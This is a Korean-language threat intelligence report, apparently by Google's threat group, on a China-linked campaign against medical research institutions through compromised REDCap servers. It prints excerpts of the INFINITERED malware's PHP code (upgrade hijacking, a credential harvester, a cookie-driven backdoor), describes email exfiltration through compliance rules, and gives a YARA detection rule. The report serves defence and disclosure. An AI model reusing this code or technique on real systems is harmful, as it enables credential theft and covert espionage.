인공지능, 사이버, 의료 및 국방 연구를 추적하는 중국 연계 위협 행위자의 표적이 된 공공 및 민간 의료 커뮤니티
Google Threat Intelligence Group
Google Threat Intelligence
Visibility and context on the threats that matter most.
Contact Us & Get a Demo구글 위협 인텔리전스 그룹(GTIG)은 북미 학술, 의료 및 군사 연구 커뮤니티의 기관들을 표적으로 삼은 중국 연계 위협 행위자 UNC6508의 소행으로 파악된 정교한 캠페인을 식별했습니다. 1년 이상 탐지되지 않은 상태를 유지하는 동안, 이 위협 행위자는 외부 노출 웹 애플리케이션을 침해하고, 전용 악성코드를 배포했으며, 민감한 내부 시스템으로 측면 이동하고, 은밀한 데이터 유출을 위해 기업 관리 도구를 악용했습니다. 이 위협 행위자는 국가 안보, 인도-태평양 사령부 작전, 인공지능, 무인 차량 시스템, 사이버 공격 프로그램 및 의료 연구와 관련된 민감한 국방 정보를 포함하여 광범위한 수집 열망을 가지고 있었습니다.
GTIG는 이 위협 행위자와 관련된 악성 인프라를 차단했습니다. 맨디언트 컨설팅(Mandiant Consulting)과 협력하여 탐지 즉시 영향을 받은 조직에 알리고 복구를 위한 지원을 제공했습니다. 우리는 방어자들이 네트워크 내에서 침해 지표(IOC)를 식별할 수 있도록 관련 인텔리전스로 Google Security Operations(SecOps)를 업데이트했습니다. 모든 사용자 및 고객이 서드파티 신원 제공업체(IdP)에 대한 권장 모범 사례를 따르고 모든 계정에서 2단계 인증(2SV)이 활성화되어 있는지 확인할 것을 권장합니다.
캠페인 개요
이 캠페인은 다양한 국가, 주 및 민간 의료 기관을 표적으로 삼았습니다. 이러한 조직에는 세계적으로 유명한 임상 제공업체, 최고의 학술 센터, 북미 군사 보건 기관, 전문 옹호 단체 및 보건 규제 기관이 포함됩니다. 이들의 연구 분야는 분자 발견 및 임상 약물 시험에서 주 정부 수준의 공공 보건 정책 및 군사 대비 태세에 이르기까지 현대 의학의 광범위한 스펙트럼에 걸쳐 있습니다. 이들은 수천 명의 직원을 고용하고 있으며 총연구 예산은 수십억 달러에 달합니다.
가장 이른 것으로 알려진 침해는 2023년 9월에 발생했으며, 그 이후 GTIG는 일관된 운영 패턴을 관찰했습니다. 위협 행위자는 외부로 노출된 REDCap(Research Electronic Data Capture) 서버를 악용하고 정상적인 REDCap 로그인 자격 증명을 캡처하기 위해 INFINITERED라는 커스텀 악성코드를 배포했습니다. 그 후 1년 이상 탐지되지 않은 상태를 유지한 후, UNC6508은 캡처한 자격 증명을 사용하여 피해자의 내부 네트워크에 액세스했습니다. 위협 행위자는 데이터 유출을 위해 도메인 콘텐츠 규정 준수 규칙을 조작하는 새로운 기법을 사용하는 것도 관찰되었습니다. 마지막으로, UNC6508은 자신들의 활동을 숨기고 난독화하기 위해 정교한 운영 보안(OpSec) 기법을 사용했습니다.
GTIG는 구글 클라우드 전반에서 위협 인텔리전스, 침해 사고 대응 및 리버스 엔지니어링 전문 지식을 결합하기 위해 맨디언트 컨설팅(Mandiant Consulting), FLARE 팀 및 Workspace Security와 긴밀히 협력했습니다. 이를 통해 최초 침해부터 최종 목표 달성까지의 전체 공격 수명 주기에 대한 완전한 그림을 구축할 수 있었습니다. 또한 GTIG는 협조해 준 피해 조직들과 그들이 공유한 가치 있는 포스트 익스플로잇 통찰력에 대해 감사의 뜻을 전합니다.
예방, 탐지 및 해결 방안
GTIG는 방어자들이 이 위협을 완화하기 위해 모든 클라우드 엔터프라이즈 플랫폼에서 다음과 같은 보안 조치를 시행할 것을 권장합니다.
-
관리자 계정 보호: 서드파티 신원 제공업체를 통한 인증을 포함하여 기업 관리자 계정에 대해 피싱 방지형 2단계 인증(2SV)을 강제 적용하십시오.
-
고급 보호: 악성코드 및 피싱 공격에 대한 추가적인 안전 장치를 위해 매우 민감한 계정을 구글의 고급 보호 프로그램에 등록하는 것을 고려하십시오.
-
쿠키 탈취 방지: 세션 하이재킹을 방지하기 위해 Windows 기기의 매우 민감한 계정에 대해 컨텍스트 인식 액세스(CAA)와 함께 기기 바인딩 세션 자격 증명(DBSC)을 강제 적용하십시오.
-
감사 로그 모니터링: 데이터 변경 사항을 분석, 모니터링 및 경고할 수 있도록 감사 로그를 활성화하십시오.
-
데이터 제어: 민감한 데이터의 외부 공유를 차단하거나 경고하도록 데이터 손실 방지(DLP) 규칙을 정의하십시오.
-
규정 준수 규칙 감사: 무단 수정 사항이 있는지 관리자 감사 로그 및 콘텐츠 규정 준수 규칙을 검토하십시오.
-
SIEM 커버리지: Google Security Operations(SecOps) 사용을 고려하고 Workspace 로그가 보안 정보 및 이벤트 관리(SIEM) 파이프라인에 포함되도록 하십시오.
-
비밀번호 보호: 잠재적으로 침해된 비밀번호 사용이 감지되었을 때 경고하도록 Chrome Enterprise 비밀번호 유출 감지를 사용하십시오.
-
REDCap 패치: REDCap 설치를 최신 소프트웨어 버전으로 완전히 업데이트하고 이전 버전이 완전히 제거되었는지 확인하십시오.
-
INFINITERED 모니터링: 제공된 YARA 규칙 및 IOC를 사용하여 REDCap 서버에서 INFINITERED의 존재 여부를 스캔하십시오.
의학 연구 대학 침해 사례
2023년 9월, 북미 의학 연구 기관에 속한 REDCap 서버가 침해되었습니다. 2025년 11월까지 지속적인 활동이 관찰되었습니다. 이 기간 동안 UNC6508은 다음과 같은 공격 체인을 수행했습니다.
-
REDCap 서버를 악용합니다.
-
3개월 후, INFINITERED 악성코드를 배포합니다.
-
INFINITERED는 1년 이상 업그레이드를 통해서도 유지되며 자격 증명을 은밀하게 기록합니다.
-
도메인 관리자 계정으로 측면 이동합니다.
-
악성 콘텐츠 규정 준수 규칙을 추가합니다.
-
일치하는 이메일을 위협 행위자가 통제하는 계정으로 몰래 "BCC 전달(숨은참조 전달)"합니다.


그림 1: 캠페인 공격 흐름도
최초 침투: REDCap 취약점 악용 및 INFINITERED
UNC6508은 일관되게 REDCap 서버를 표적으로 삼았습니다. REDCap은 의학 및 과학 연구 규정을 준수하면서 온라인 데이터베이스와 설문조사를 구축하고 관리할 수 있도록 특별히 설계된 웹 기반 소프트웨어 플랫폼입니다. 이는 북미 의료 연구 커뮤니티에서 매우 흔히 사용되는 플랫폼입니다.
GTIG는 UNC6508이 처음에 어떻게 REDCap 서버에 접근 권한을 획득했는지 명확히 확인하지 못했습니다. 설계상 REDCap은 관리자가 현재 버전과 함께 레거시 소프트웨어를 나란히 계속 실행할 수 있도록 허용합니다. UNC6508은 여러 표적 조직의 REDCap 시스템에서 이러한 취약한 레거시 버전을 탐색(probe)하는 것이 관찰되었습니다. 이는 보안 패치를 신속하게 적용하는 것뿐만 아니라, 다운그레이드 공격을 방지하기 위해 오래된 소프트웨어 버전을 즉시 제거하는 것이 얼마나 중요한지 보여줍니다.
REDCap 서버에 발판을 확보한 UNC6508은 데이터베이스 및 서비스 계정 자격 증명을 획득하기 위해 내부 정찰과 자격 증명 탐색을 수행했습니다. 위협 행위자는 또한 "help.php"라는 이름의 웹셸을 배포하여 지속성을 유지하고 REDCap 애플리케이션 내에서 업로더 역할을 수행하도록 했습니다.
INFINITERED 분석
최초 침해로부터 3개월 후, UNC6508은 INFINITERED로 추적되는 커스텀 악성코드 페이로드를 배포했습니다. 이 악성코드는 정상적인 REDCap 시스템 파일을 트로이 목마화하여 3가지 고유한 모듈식 구성 요소를 통해 기능을 구현합니다.
-
드롭퍼 및 업그레이드 가로채기
-
자격 증명 수집기
-
명령 및 제어(C2) 기능이 포함된 백도어
GTIG는 미국과 캐나다 전역의 여러 조직이 INFINITERED에 침해된 사실을 발견했습니다. 이러한 모든 조직은 탐지 즉시 침해 사실을 통보받았으며, 복구를 위한 지원을 받았습니다.


그림 2: INFINITERED 다이어그램
드롭퍼 및 업그레이드 가로채기
지속적인 원격 액세스를 유지하기 위해, INFINITERED는 업그레이드 프로세스를 가로채서 새로운 REDCap 버전에 자신의 코드를 주입합니다. 이 기능은 정상적인 REDCap 업그레이드 시스템 파일에 삽입되어 있습니다. INFINITERED는 다음 단계에 따라 이 코드 주입을 수행합니다.
-
INFINITERED 코드가 포함된 현재 소프트웨어 버전을 읽습니다.
-
GUID 구분 기호
b49e334d-9c01-463e-9bc5-00a6920fb66e를 사용하여 악성 로직을 추출합니다. -
커스텀 훅(hooks) 구성 파일에 백도어 코드를 주입합니다.
-
인증 시스템 파일에 자격 증명 수집기 코드를 주입합니다.
-
2단계에서 추출한 코드를 업그레이드 시스템 파일에 주입합니다.
Elastic Beanstalk 환경에서, INFINITERED는 클라우드 배포 시 지속성을 보장하기 위해 추가 단계를 수행합니다.
// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php";
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file
...
if ($file_content_upgrade !== false) {
// Base64 GUID delimiter
$dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
$pattern = "/$dummy_marker(.*?)$dummy_marker/s";
if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
$extracted_text = $matches[0];
$search_content = "// If running on AWS Elastic Beanstalk";
$upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
$new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
$zip->deleteName($file_upgrade);
$zip->addFromString($file_upgrade, $new_content);
}
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e
코드 스니펫 1: 업그레이드 가로채기 및 INFINITERED 코드 주입
자격 증명 수집기
$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);
코드 스니펫 2: 정당한 데이터베이스 테이블에 자격 증명 숨기기
백도어
$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
$magic_flag = '[REDACTED]'; // Cookie prefix
...
// Decrypt message if cookie prefix is found
$key = '[REDACTED]';
$req_data = substr($cookieValue, strlen($magic_flag));
$req_data = decrypt($req_data, $key);
코드 스니펫 3: INFINITERED로 전달되는 명령 복호화
복호화된 페이로드가 비어 있는 경우, 악성코드는 비콘 역할을 하여 OS, PHP 버전, 작업 디렉토리 등의 시스템 세부 정보와 호스트 이름, 사용자 이름, 비밀번호, 솔트(salt)를 포함한 데이터베이스 자격 증명을 반환합니다. 페이로드가 비어 있지 않은 경우, 악성코드는 페이로드에서 명령 태그를 구문 분석하며, 침해 행위자는 이를 사용하여 셸 명령을 실행하고, 원시 SQL 쿼리를 실행하며, 파일을 전송할 수 있습니다.
지원되는 명령
표 1: INFINITERED에서 지원되는 명령
도메인 콘텐츠 규정 준수 규칙 악용
최초 침해 발생 후 1년이 지난 시점에, UNC6508은 REDCap에서 수집한 중복 자격 증명을 사용하여 관리자 계정에 액세스했습니다. 이는 시스템을 전체론적으로 보호하는 것의 어려움과 중요성을 잘 보여줍니다. 방어자는 자격 증명 재사용 공격을 완화하기 위해 2단계 인증(2SV)을 활성화하고 서로 다른 보안 도메인 간에 고유한 자격 증명이 사용되도록 보장해야 합니다.
그 후 UNC6508은 많은 클라우드 기반 기업용 생산성 제품군에 존재하는 정당한 기능인 콘텐츠 규정 준수 규칙을 활용하여 특정 이메일 통신을 탈취했습니다. 관리자는 사전에 정의된 단어, 문구, 텍스트 패턴 또는 숫자 패턴의 집합과 일치하는 콘텐츠가 포함된 이메일 메시지를 관리하기 위해 이러한 규칙을 생성할 수 있습니다. 기본적으로 규정 준수 규칙은 조직 단위의 모든 사용자에게 적용됩니다. 데이터 탈취를 위해 규정 준수 규칙을 사용하는 것은 중국 연계(PRC-nexus) 침해 행위자들에게서 이전에는 관찰되지 않은 새로운 기법입니다.


그림 3: 표적 정보 수집 범주
“Patroit” 규정 준수 규칙에 사용된 패턴은 지정학적 정책, 군사 전략, 첨단 기술, 의료 연구를 겨냥한 전략적 정보 수집을 시사합니다. 또한 이러한 분야에 속한 조직 구성원들의 업무용 이메일 주소와 전화번호도 패턴에 포함되어 있습니다. 적용된 용어 중 여러 개에 철자 오류가 있는 것으로 보아, 해당 목록이 수동으로 관리되었음을 알 수 있습니다.
UNC6508의 이처럼 광범위한 정보 수집 범위는 의료 연구 커뮤니티에서 확인된 피해자들 외에도 더 다양한 대상을 표적으로 삼고 있음을 시사할 수 있습니다. GTIG는 이러한 수집 우선순위가 중화인민공화국(PRC)의 전략적 이익과 일치하는 것으로 평가합니다.
용어의 대부분은 국방 및 기술과 관련이 있지만, 의료 연구 시설과 특정 병원체인 '치쿤구니야(Chikungunya)'를 포함한 용어는 다른 용어들 사이에서 두드러집니다. 치쿤구니야는 모기를 통해 인간에게 전파되는 바이러스성 질환으로, 2025년 7월부터 시작된 중국 광둥성의 유행 원인이었습니다.
Operations Security (OpSec)


그림 4: UNC6508 운영 보안 기법
UNC6508은 난독화(OBF) 네트워크에 크게 의존했습니다. 현재 중국 연계(PRC-nexus) 행위자들이 자주 채택하는 이 전략은 공격 작업의 트래픽을 침해된 라우터, 주거용 프록시(residential proxies), 가상 사설 서버(VPS) 및 기타 장치의 조합을 통해 라우팅하는 방식을 포함합니다.
이 작업은 'BebitaBarefoot774[@]gmail[.]com' 계정에 액세스할 때와 침해된 기업 관리자 계정에 액세스하기 위해 정당한 자격 증명을 재사용(replay)할 때 모두 대역 외 인프라로서 오직 미국 기반의 OBF 네트워크 IP 주소만을 사용했습니다. 위협 행위자가 제어하는 Gmail 계정을 대량 생성 서비스를 통해 확보하고 이를 이메일 데이터 탈취 전용으로만 사용하는 등 추가적인 OpSec 기법도 활용되었습니다.
UNC6508은 높은 수준의 OpSec을 유지함으로써, 방어자가 악성 패턴을 식별하고 정확한 귀속(attribution)을 확립하며 위협 행위자의 인프라를 매핑하려는 노력을 크게 복잡하게 만듭니다.
귀속 (Attribution)
GTIG는 높은 신뢰도로 이 활동을 UNC6508의 소행으로 귀속시킵니다. 이 평가는 캠페인 간의 인프라 중복, REDCap 서버에서의 일관된 INFINITERED 백도어 사용, 그리고 의료 연구 및 국방 부문을 겨냥한 특정 표적 공격을 기반으로 합니다. 우리는 UNC6508을 스파이 활동이 동기인 위협 클러스터로 평가하며, 이들의 우선순위는 과거 중국 정부가 후원한 스파이 활동 트렌드 및 정보 수집 요구사항과 일치합니다.
침해 지표 (IOCs)
더 넓은 커뮤니티를 지원하기 위해, 등록된 사용자를 위한 GTI 컬렉션에 지표 목록도 포함했습니다.
파일 지표
호스트 지표
MITRE ATT&CK Mapping
Detections
YARA Rules
rule G_Backdoor_INFINITERED_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
$s1 = "substr($cookieValue, strlen($magic_flag));"
$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
$s3 = "'data' => encrypt($data, $key)"
$s4 = "$data = shell_exec($command);"
$s5 = "move_uploaded_file($tmpPath, $fileName)"
$s6 = "$data = implode('|', $fields)"
$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
$b_s3 = "'data' => encrypt($data, $key)" base64
$b_s4 = "$data = shell_exec($command);" base64
$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
$b_s6 = "$data = implode('|', $fields)" base64
$t1 = "(isset($_POST['username']) && $_POST['password'])"
$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
$t4 = "redcap_connect.php"
$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
$b_t4 = "redcap_connect.php" base64
$u1 = "$zip->open($filename) === TRUE)"
$u2 = "$hooks_encode ="
$u3 = "$auth_encode ="
$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
$b_u1 = "$zip->open($filename) === TRUE)" base64
$b_u2 = "$hooks_encode =" base64
$b_u3 = "$auth_encode =" base64
$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
$filemarker = "<?php"
condition:
filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}